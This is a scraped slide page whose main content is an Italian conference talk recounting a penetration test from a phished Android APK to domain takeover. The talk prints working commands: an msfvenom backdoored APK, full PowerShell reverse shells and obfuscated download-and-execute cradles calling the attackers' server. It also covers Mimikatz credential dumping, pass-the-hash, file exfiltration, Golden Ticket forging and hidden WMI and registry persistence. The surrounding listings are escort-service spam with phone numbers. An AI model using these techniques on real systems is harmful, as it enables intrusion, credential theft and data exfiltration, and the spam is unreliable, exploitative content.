Call Girls In Ashram Chowk Delhi 💯Call Us 🔝8264348440🔝Call Girls In Ashram Chowk Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Ashram Chowk Delhi 💯Call Us 🔝8264348440🔝
soniya singh
 
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No AdvanceRohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Call Girls In Delhi Whatsup 9873940964 Enjoy Unlimited Pleasure
 
Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...
Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...
Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...
Call Girls In Delhi Whatsup 9873940964 Enjoy Unlimited Pleasure
 

Dernier (20)

Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRLLucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
 
Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.
 
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...
 
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝
 
On Starlink, presented by Geoff Huston at NZNOG 2024
On Starlink, presented by Geoff Huston at NZNOG 2024On Starlink, presented by Geoff Huston at NZNOG 2024
On Starlink, presented by Geoff Huston at NZNOG 2024
 
AWS Community DAY Albertini-Ellan Cloud Security (1).pptx
AWS Community DAY Albertini-Ellan Cloud Security (1).pptxAWS Community DAY Albertini-Ellan Cloud Security (1).pptx
AWS Community DAY Albertini-Ellan Cloud Security (1).pptx
 
Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...
Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...
Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...
 
✂️ 👅 Independent Andheri Escorts With Room Vashi Call Girls 💃 9004004663
✂️ 👅 Independent Andheri Escorts With Room Vashi Call Girls 💃 9004004663✂️ 👅 Independent Andheri Escorts With Room Vashi Call Girls 💃 9004004663
✂️ 👅 Independent Andheri Escorts With Room Vashi Call Girls 💃 9004004663
 
VIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call Girl
VIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call GirlVIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call Girl
VIP 7001035870 Find & Meet Hyderabad Call Girls LB Nagar high-profile Call Girl
 
Hot Service (+9316020077 ) Goa Call Girls Real Photos and Genuine Service
Hot Service (+9316020077 ) Goa  Call Girls Real Photos and Genuine ServiceHot Service (+9316020077 ) Goa  Call Girls Real Photos and Genuine Service
Hot Service (+9316020077 ) Goa Call Girls Real Photos and Genuine Service
 
Call Girls In Ashram Chowk Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Ashram Chowk Delhi 💯Call Us 🔝8264348440🔝Call Girls In Ashram Chowk Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Ashram Chowk Delhi 💯Call Us 🔝8264348440🔝
 
DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024
DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024
DDoS In Oceania and the Pacific, presented by Dave Phelan at NZNOG 2024
 
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No AdvanceRohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
 
(INDIRA) Call Girl Pune Call Now 8250077686 Pune Escorts 24x7
(INDIRA) Call Girl Pune Call Now 8250077686 Pune Escorts 24x7(INDIRA) Call Girl Pune Call Now 8250077686 Pune Escorts 24x7
(INDIRA) Call Girl Pune Call Now 8250077686 Pune Escorts 24x7
 
Moving Beyond Twitter/X and Facebook - Social Media for local news providers
Moving Beyond Twitter/X and Facebook - Social Media for local news providersMoving Beyond Twitter/X and Facebook - Social Media for local news providers
Moving Beyond Twitter/X and Facebook - Social Media for local news providers
 
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
 
Hot Call Girls |Delhi |Hauz Khas ☎ 9711199171 Book Your One night Stand
Hot Call Girls |Delhi |Hauz Khas ☎ 9711199171 Book Your One night StandHot Call Girls |Delhi |Hauz Khas ☎ 9711199171 Book Your One night Stand
Hot Call Girls |Delhi |Hauz Khas ☎ 9711199171 Book Your One night Stand
 
Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...
Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...
Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...
 
GDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark Web
GDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark WebGDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark Web
GDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark Web
 
Call Girls Dubai Prolapsed O525547819 Call Girls In Dubai Princes$
Call Girls Dubai Prolapsed O525547819 Call Girls In Dubai Princes$Call Girls Dubai Prolapsed O525547819 Call Girls In Dubai Princes$
Call Girls Dubai Prolapsed O525547819 Call Girls In Dubai Princes$
 

Da APK al Golden Ticket

  • 1. Da APK al Golden Ticket Storia di un penetration test Andrea Pierini, Giuseppe Trotta
  • 2. Chi siamo ➔ Andrea Pierini: IT Architect & Security Manager, con la passione del pentesting - il vecchio saggio ➔ Giuseppe Trotta: Penetration tester - il figliol prodigo
  • 5. ➔ Background ➔ Da APK a shell sul server WSUS ➔ Lateral Movement(s) & Exploitation ➔ Exfiltration ➔ Golden Ticket ➔ Persistenza Agenda
  • 6. Storia di un pentest Partendo da una campagna di phishing, dopo aver effettuato spear phishing sulla segretaria e sul suo smartphone, ci siamo intrufolati nella rete aziendale e, attraverso “movimenti laterali” e “privilege escalation”, siamo diventati amministratori del dominio, abbiamo sottratto file sensibili e attuato tecniche di persistence
  • 8. Going NativeGoing Native ... https://www.flickr.com/photos/tkmckamy/4521015190
  • 9. Background ➔ Vulnerability Assessment & Penetration Test Black Box ➔ Social engineering consentito ➔ “Rubare” informazioni riservate
  • 10. Background ➔ Durante i colloqui preliminari, abbiamo chiesto accesso al Wi-Fi “GUEST”. ➔ Credenziali valide per 1 giorno ➔ Tanti dispositivi collegati … i dipendenti?
  • 11. Phishing campaign ➔ Buona la prima? No, ma la segretaria … ¯_(ツ)_/¯
  • 12. ➔ … il suo smartphone e la figlia ... Phishing campaign $ msfvenom -x puzzle.apk -p android/meterpreter/reverse_tcp LHOST=<IL_NOSTRO_IP> LPORT=443 -o /var/www/html/puzzle.apk
  • 14. Il mattino seguente... [*] Meterpreter session 3 opened (█████:443 -> █████:51990) meterpreter> ipconfig … Interface 9 ============ Name : wlan0 - wlan0 Hardware MAC : 20:6e:9c:75:94:ba IPv4 Address : 10.18.112.46 IPv4 Netmask : 255.255.255.0 … meterpreter> shell Process 1 created.Channel 1 created. getprop net.dns1 192.168.178.196
  • 15. Network discovery ➔ Scan via ProxyChains exploit(handler) > route add 192.168.178.0 255.255.255.0 3 exploit(handler) > use auxiliary/server/socks4a … # proxychains nmap -sn 192.168.178.0/24 Nmap scan report for 192.168.178.195 Host is up (0.15s latency). Nmap scan report for 192.168.178.196 Host is up (0.22s latency). … msf > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set rhosts 192.168.178.195,196 … [*] 192.168.178.195: - 192.168.178.195:80 - TCP OPEN [*] 192.168.178.195: - 192.168.178.195:8080 - TCP OPEN … [*] 192.168.178.196: - 192.168.178.196:53 - TCP OPEN …
  • 16. Schema di rete ipotizzato...
  • 17. Il server intranet ➔ Portforwarding ➔ Apache basic-auth bruteforce meterpreter>portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 80 meterpreter>portfwd add -L 127.0.0.1 -l 8002 -r 192.168.178.195 -p 8080 # hydra 127.0.0.1 -s 8002 -L users.txt -P pass.txt -t12 http-get / … [DATA] max 12 tasks per 1 server, overall 64 tasks, 11000 login tries (l:11/p:1000), ~14 tries per task [DATA] attacking service http-get on port 8080 … [8080][http-get] host: 127.0.0.1 login: admin password: password123456 1 of 1 target successfully completed, 1 valid password found
  • 18. Caro Tomcat… ➔ Upload file WAR file (Web-application ARchive): ◆ cmd.jsp ◆ Mimikatz (PS) “offuscato”
  • 19. `Obf`u`s`c""a'tio'"$([char]0x6E)" ➔ Meccanismi di detection molto scarsi ➔ Match di stringhe/comandi ➔ Linguaggio flessibile ➔ RTFM funziona sempre… ➔ Invoke-Obfuscation by Daniel Bohannon ^must read
  • 20. `Obf`u`s`c""a'tio'"$([char]0x6E)" ➔ mimigatto.ps1 Invoke-mimikatz → ChiamaIlGatto DumpCreds → PrendiCroccantini Get-Win32Types → CheTipo32 CallDllMainSc1 → MaChiChiami Win32Functions → IOSFunctions … ➔ Download malware Invoke-Expression(New-Object System.Net.WebClient).DownloadString("https://bit.ly/Ev1l") ↓ `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('ht'+'tps://bit.ly/Ev1l)
  • 21. Dovevamo far presto… Command: cmd /c set ALLUSERSPROFILE=C:ProgramData ... COMPUTERNAME=SRVINTRANET ... USERDOMAIN=SUPERCOMPANY USERNAME=SRVINTRANET$ Command: cmd /c systeminfo Host Name: SRVINTRANET OS Name: Microsoft Windows Server 2012 R2 Standard OS Version: 6.3.9600 N/A Build 9600 OS Manufacturer: Microsoft Corporation OS Configuration: Member Server OS Build Type: Multiprocessor Free Registered Owner: Windows User … System Manufacturer: VMware, Inc. …
  • 22. Dovevamo far presto… Command: cmd /c nltest /dclist:supercompany Get list of DCs in domain 'supercompany' from 'SRVDC1'. srvdc1.supercompany.local[PDC] [DS]Site: Default-First-Site-Name srvdc2.supercompany.local [DS]Site: Default-First-Site-Name ... The command completed successfully Command: cmd /c dir "c:program files (x86)" Volume in drive C has no label. Volume Serial Number is C050-5A8D Directory of c:program files (x86) 02/25/2017 08:59 AM <DIR> . 02/25/2017 08:59 AM <DIR> .. ... 02/25/2017 08:59 AM <DIR> Symantec ...
  • 23. ➔ Dalla webshell avevamo provato a lanciare una Reverse Shell (PS) ➔ Nulla di fatto! ➔ Evidentemente SRVINTRANET non aveva accesso a internet Reverse shell #1 Command: cmd /c powershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient('IL_NOSTRO_IP',443); $stream=$client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback=(iex $data 2>&1 | Out-String );$sendback2=$sendback+'PS '+(pwd).Path + '> '; $sendbyte=([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush() };$client.Close()"
  • 24. Piano B: reperire le credenziali ➔ Mimigatto, PrendiCroccantini! Command: cmd /c powershell -nop -exec bypass -command "import-module c:tomcatwebappscmdwarfilesmimigatto.ps1; ChiamaIlGatto -PrendiCroccantini" .#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##. "A La Vie, A L'Amour" ## / ## /* * * ## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz(powershell) # sekurlsa::logonpasswords ... [00000003] Primary * Username : Administrator * Domain : SRVINTRANET * NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX * SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX ...
  • 25. Piano C: No admin logged-in? No problem! ➔ Con i privilegi di SYSTEM era facile reperire gli hash di local Administrator Command: cmd /c powershell -nop -exec bypass -command "import-module c:tomcatwebappscmdwarfilesmimigatto.ps1; ChiamaIlGatto -command '"lsadump::lsa /name:administrator /inject"'" .#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##. "A La Vie, A L'Amour" ## / ## /* * * ## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz(powershell) # lsadump::lsa /name:administrator /inject Domain : SRV2012 / S-1-5-21-938204560-2839928776-2225904511 RID : 000001f4 (500) User : administrator * Primary LM : NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
  • 26. Lateral Movement(s) & Exploitation
  • 27. Lateral Reconnaissance: alla ricerca di internet ➔ Possibili bersagli: SRVWSUS e SRVAV ◆ Uno di loro doveva uscire su Internet ➔ E poi quel SRVFILE1 … Command: cmd /c net view Server Name Remark ------------------------------------------------- SRVDC1 Domain controller PDC SRVDC2 Domain Controller SRVWSUS Server WSUS SRVAV Server AV SRVFILE1 File Server ...
  • 28. Lateral Movement: SRVWSUS ➔ SRVWSUS accede ad Internet? ➔ Le hash catturate valgono su SRVWSUS? ➔ Pass-the-Hash con PS, si può? ◆ SMBExec.ps1 ◆ WMIExec.ps1 https://github.com/Kevin-Robertson/Invoke-TheHash
  • 29. Lateral Movement: SRVWSUS ➔ Intanto sul nostro web server: $ cat r1.ps1 function Invoke-r1 { $client = New-Object Net.Sockets.TCPClient('NOSTRO_IP',443) $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (iex $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() }
  • 30. Lateral Movement: SRVWSUS ➔ Tramite Tomcat manager: upload di SMBExec.ps1 con l’autorun in coda: … Invoke-SMBExec -Target <SRVWSUS_IP> -Username Administrator -Hash 604603ab105adc8XXXXXXXXXXXXXXXXX -Command "powershell `"IEX(New-Object Net.WebClient).DownloadString(`'http://NOSTRO_IP/r1.ps1`'); Invoke-r1`"" ➔ Sulla nostra macchina: nc -lvp 443 ➔ Dalla webshell: Command: cmd /c powershell -nop -exec bypass -f c:tomcatwebappscmdwarfilessmbexec.ps1
  • 31. SRVWSUS: Finalmente una shell “decente” # nc -lvvp 443 connect to <NOSTRO_IP> from <COMPANY_PUBLIC_IP> 50341 PS C:Windowssystem32> whoami nt authoritysystem
  • 33. SRVWSUS: Alla ricerca di nuove credenziali ➔ E chi era questo utente di dominio “adm.arazzi”? PS C:tmp>iex (New-Object Net.WebClient).DownloadString('http://NOSTRO_IP/mimigatto.ps1'); ChiamaIlGatto -PrendiCroccantini mimikatz(powershell) # sekurlsa::logonpasswords Authentication Id : 0 ; 749566 (00000000:000b6ffe) Session : Interactive from 2 User Name : adm.arazzi Domain : SUPERCOMPANY Logon Server : SRVDC1 Logon Time : 9/11/2016 10:23:28 AM SID : S-1-5-21-3534665177-2148510708-2241433719-1001 msv : [00000003] Primary * Username : adm.arazzi * Domain : SUPERCOMPANY * NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX * SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX
  • 34. ➔ Un target interessante? Farà parte dei Domain Administrators? ➔ Come verificarlo? ➔ Pass-the-Hash con Mimikatz! SRVWSUS: adm.arazzi
  • 35. SRVWSUS: adm.arazzi PS c:tmp>cmd /c echo net user adm.arazzi /domain ^> c:tmpwhoisarazzi.txt > whoisarazzi.bat PS c:tmp>iex(New-Object Net.WebClient).DownloadString('http://NOSTRO_IP/mimigatto.ps1'); ChiamaIlGatto -command '"sekurlsa::pth /user:adm.arazzi /domain:supercompany /ntlm:446687c38d831f4XXXXXXXXXXXXXXXXX /run:c:tmpwhoisarazzi.bat"'
  • 36. SRVWSUS: adm.arazzi PS c:tmp>type whoisarazzi.txt The request will be processed at a domain controller for domain supercompany.local. User name adm.arazzi Full Name antonio razzi Comment :-) User's comment Country/region code 000 (System Default) Account active Yes Account expires Never (..) Local Group Memberships *Administrators Global Group memberships *Group Policy Creator *Domain Users *Domain Admins *Schema Admins *Enterprise Admins
  • 37. Lateral Movement: SRVFILE1 ➔ SRVWSUS diventa il pivot per accedere al FileServer: ➔ Su SRVWSUS download di una nuova reverse shell (attenzione all'IP!) PS c:tmp>netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=443 connectaddress=NOSTRO_IP PS c:tmp>IEX(New-Object Net.WebClient).DownloadFile('http://NOSTRO_IP/r2.ps1','c:tmpr2.ps1') $ cat r2.ps1 ... $client = New-Object System.Net.Sockets.TCPClient('<SRVWSUS_IP>',8888) ..
  • 38. Lateral Movement: SRVFILE1 ➔ Download & Exec di HTTP.ps1, un mini server HTTP PS c:tmp>type http.ps1 # http.ps1 start-job { # will execute in bg $p="c:tmp" $H=New-Object Net.HttpListener $H.Prefixes.Add("http://+:8001/") $H.Start() ... PS c:tmp>IEX(New-Object Net.WebClient).DownloadFile('http://NOSTRO_IP/http.ps1','c:tmphttp.ps1'); .http.ps1 Id Job ... -- --- 6 Job6 ...
  • 39. Lateral Movement: SRVFILE1 ➔ Alternativa a SMBExec? WMIExec! ➔ Auto-invoke alla fine, ovviamente PS c:tmp> IEX (New-Object Net.WebClient).DownloadFile('http://NOSTRO_IP/wmiexec.ps1','c:tmpwmiexec.ps1') Invoke-WMIExec -Target SRVFILE1_IP -Domain SUPERCOMPANY -Username adm.razzi -Hash 446687c38d831f4XXXXXXXXXXXXXXXXX -Command "powershell `"IEX (New-Object Net.WebClient).DownloadString(`'http://SRVWSUS_IP:80001/r2.ps1`'); Invoke-r2`""
  • 41. Lateral Movement: SRVFILE1 ➔ Sulla nostra macchina: nc -lvp 443 ➔ Su SRVWSUS: PS C:tmp> .wmiexec.ps1 Command executed with process ID 4756 on SRVFILE1_IP
  • 42. Lateral Movement: SRVFILE1 ➔ Et voilà! # nc -lvp 443 connect to NOSTRO_IP from <COMPANY_PUBLIC_IP> 49190 PS C:Windowssystem32> whoami supercompanyadm.arazzi
  • 43. Checkpoint: situazione shell ➔ 2 reverse shell in PowerShell: ◆ Su SRVWSUS siamo SYSTEM ◆ Su SRVFILE1 via SRVWSUS siamo Domain Administrator!!
  • 44. ➔ Grazie alla shell su SRVFILE1 i dati sensibili ci stavano aspettando: ➔ Come fare exfiltration? ➔ Tentativo #1: Exfiltration via FTP Fallito Exfiltration Directory: F:FinanzaRiservato Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 9/24/2016 2:20 AM 164468 Supersecret.docx -a--- 5/29/2016 6:41 PM 12288 Bilancio.xlsx …
  • 45. Exfiltration ➔ Ricordate KISS? Upload via HTTP sul nostro server? ➔ Per il client? Upload.ps1 http://blog.majcica.com/2016/01/13/powershell-tips-and-tricks-multipartform-data-requests/ <?php // index.php $fname = @$_FILES['fname']['name']; $fname_loc = @$_FILES['fname']['tmp_name']; echo (@move_uploaded_file($fname_loc,$fname))?"DONE":"ERROR";
  • 46. Exfiltration ➔ A questo punto occorreva un nuovo portforward su SRVWSUS ➔ Download upload.ps1 su SRVFILE1 via SRVWSUS # [SRVFILE1 <-> SRVWSUS:8889 <-> ATTACKER:80] interface portproxy add v4tov4 listenport=8889 listenaddress=0.0.0.0 connectport=80 connectaddress=NOSTRO_WEB_SERVER PS C:tmp> (New-Object Net.WebClient).DownloadFile('http://SRVWSUS:8889/upload.ps1','c:tmpupload.ps1')
  • 48. ➔ Dal FileServer Finalmente upload! PS C:tmp> . .upload.ps1 PS C:tmp> invoke-upload -infile f:finanzariservatoSupersecret.docx -uri http://SRVWSUS:8889/ content:System.Net.Http.StreamContent DONE PS C:tmp> invoke-upload -infile f:finanzariservatobilancio.xlsx -uri http://SRVWSUS:8889/ content:System.Net.Http.StreamContent DONE
  • 49. Alternativa? PMFU! ➔ PMFU == Poor Man File Upload == niente fronzoli, minimal ➔ Sulla nostra macchina: PS C:tmp>$c=New-Object System.Net.Sockets.TCPClient('SRVWSUS_IP',8889); $s=[System.IO.File]::ReadAllBytes("f:finanzariservatosupersecret.docx"); $st=$c.GetStream();$st.Write($s,0,$s.Length);$st.Flush();$c.Close() # nc -lp 80 > supersecret.docx
  • 50. File grandi?! $src= "f:finanzariservato" $dst= "c:tmpfiles.zip" [Reflection.Assembly]::LoadWithPartialName("System.IO.Compression.FileSystem") [System.IO.Compression.ZipFile]::CreateFromDirectory($src,$dst, [System.IO.Compression.CompressionLevel]::Optimal,$true)
  • 52. Fear the Golden Ticket attack* ➔ Il “Golden Ticket” è un ticket Kerberos (TGT) creato offline in modo tale da garantire l’accesso fraudolento ad un dominio AD, impersonando qualsiasi utente (anche il Domain Admin), e valido anche per 10 anni! ➔ Funziona anche se la vittima cambia la sua password ➔ Come è possibile? ◆ Il ticket e i dati autorizzativi sono firmati con gli hash dell’account “krbtgt” * by Benjamin DEPLY - mimikatz
  • 53. Golden Ticket? DIY! ➔ PRE: nuovo portforwarding su SRVWSUS, smbexec.ps1, upload mimigatto.ps1, etc... per ottenere shell come SYSTEM sul domain controller ➔ Export hash di krbtgt con mimikatz e preso il SID del dominio: PS C:windowstemp>ChiamaIlGatto -command '"privilege::debug” "LSADump::LSA /name:krbtgt /inject"' > hash.txt PS C:windowstemp>type hash.txt Domain : SUPERCOMPANY / S-1-5-21-3534665177-2148510708-2241433719 RID : 000001f6 (502) User : krbtgt * Primary LM : NTLM : 3003567af268a4a94e26f410e84353f1 ... aes256_hmac (4096) : 9bf24ba27d9ddf67e077cbab435e06e8006109bc572793868ea3864b465fd155 aes128_hmac (4096) : 46be43e81ca521d647f332bd4e1b7897 des_cbc_md5 (4096) : d5ade3405ea183ce
  • 54. Golden Ticket? DIY! ➔ E poi ... comodamente offline! mimikatz# kerberos::golden /admin:Administrator /domain:supercompany.LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /aes256:9bf24ba27d9ddf67e077cbab435e06e8006109bc572793868ea3864b465fd155 /ticket:admin.krb
  • 55. ➔ Da SRVWSUS: shell Local SYSTEM ➔ Download admin.krb (ticket kerberos) ➔ Pass-The-Ticket! Golden Ticket in action! mimikatz(powershell) # kerberos::ptt admin.krb * File: 'admin.krb': OK PS C:tmp> klist Current LogonId is 0:0x3e7 Cached Tickets: (1) #0> Client: Administrator @ supercompany.LOCAL Server: krbtgt/supercompany.LOCAL @ supercompany.LOCAL
  • 56. Golden Ticket in action! # nc -lvp 443 … PS C:Windowssystem32> whoami supercompanyadministrator PS C:tmp> copy c:tmpr3.ps1 SRVDC1C$windowstempr3.ps1 PS C:tmp> wmic /authority:"kerberos:SUPERCOMPANYSRVDC1" /node:SRVDC1 process call create "powershell -exec bypass -windowstyle hidden -f c:windowstempr3.ps1" Executing (Win32_Process)->Create() Method execution successful. ... Long time persistence
  • 58. Persistenza ➔ Windows Management Instrumentation (WMI), un posto meno “scontato” dove aggiungere persistenza, sfruttando l’evento InstanceModificationEvent PS> $filterName = "JustForTestFilter" PS> $consumerName = "JustForTestConsumer" PS> $exePath = "C:windowshelpwindowsindexstorer.bat" PS> $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 300" PS> $WMIEventFilter=Set-WmiInstance -Class __EventFilter -NameSpace "rootsubscription" -Arguments @{Name=$filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL"; Query=$Query} -ErrorAction Stop PS> $WMIEventConsumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace "rootsubscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exepath } PS> Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
  • 59. Persistenza ➔ E la PS shell? Cosa fare nel caso di una caduta? ➔ No problem, ci si rialza! PS C:windowshelpwindowsindexstore>type r.bat @echo off :loop powershell -nop -executionpolicy bypass -windowstyle hidden -f C:windowshelpwindowsindexstorer.ps1 timeout /t 30 goto loop
  • 60. Persistenza ➔ Bonus trick: “autoruns” non se ne accorge! Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun] "Stealth"="Rundll32.exe SHELL32.DLL,ShellExec_RunDLL "C:windowshelpwindowsindexstorer.bat"" https://gist.githubusercontent.com/hasherezade/e3b5682fee27500c5dabf5343f447de3
  • 61. Tecniche e soluzioni “alternative” ➔ Reverse shell attraverso un Proxy? ➔ Basta aggiungere le configurazioni relative al Proxy/Credenziali nella nostra reverse shell S C:windowsind $rhost="X.X.X.X" $rport="80" $uri = "http://" + $rhost + ":" + $rport $proxy = [System.Net.WebRequest]::DefaultWebProxy $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $Request = [System.Net.HttpWebRequest]::Create("http://" + $rhost + ":" + $rport) $Request.Method = "CONNECT" $Request.Proxy = $Proxy $resp = $Request.getResponse() $respstream = $resp.GetResponseStream() $bflags = [Reflection.BindingFlags] "NonPublic,Instance" $rstype = $respstream.GetType() $connprop = $rstype.GetProperty("Connection", $bflags) $connection = $connprop.GetValue($respstream, $null) $conntype = $connection.GetType() ...
  • 62. Tecniche e soluzioni “alternative” ➔ “Multi-Netcat” reverse shell listener ◆ https://github.com/nemanjan00/reverse-shell-listenerS C:windowsind
  • 63. Grazie ai revisori dell’articolo originale ... .. a Mario e tutto lo staff di HackInBo Un saluto agli amici dello “Snado Team”!! PS>.installSNADO.ps1 -permanent Andrea <decoder.ap@gmail.com>, <@decoder_it> Giuseppe <giutrotta@gmail.com>, <@giutro>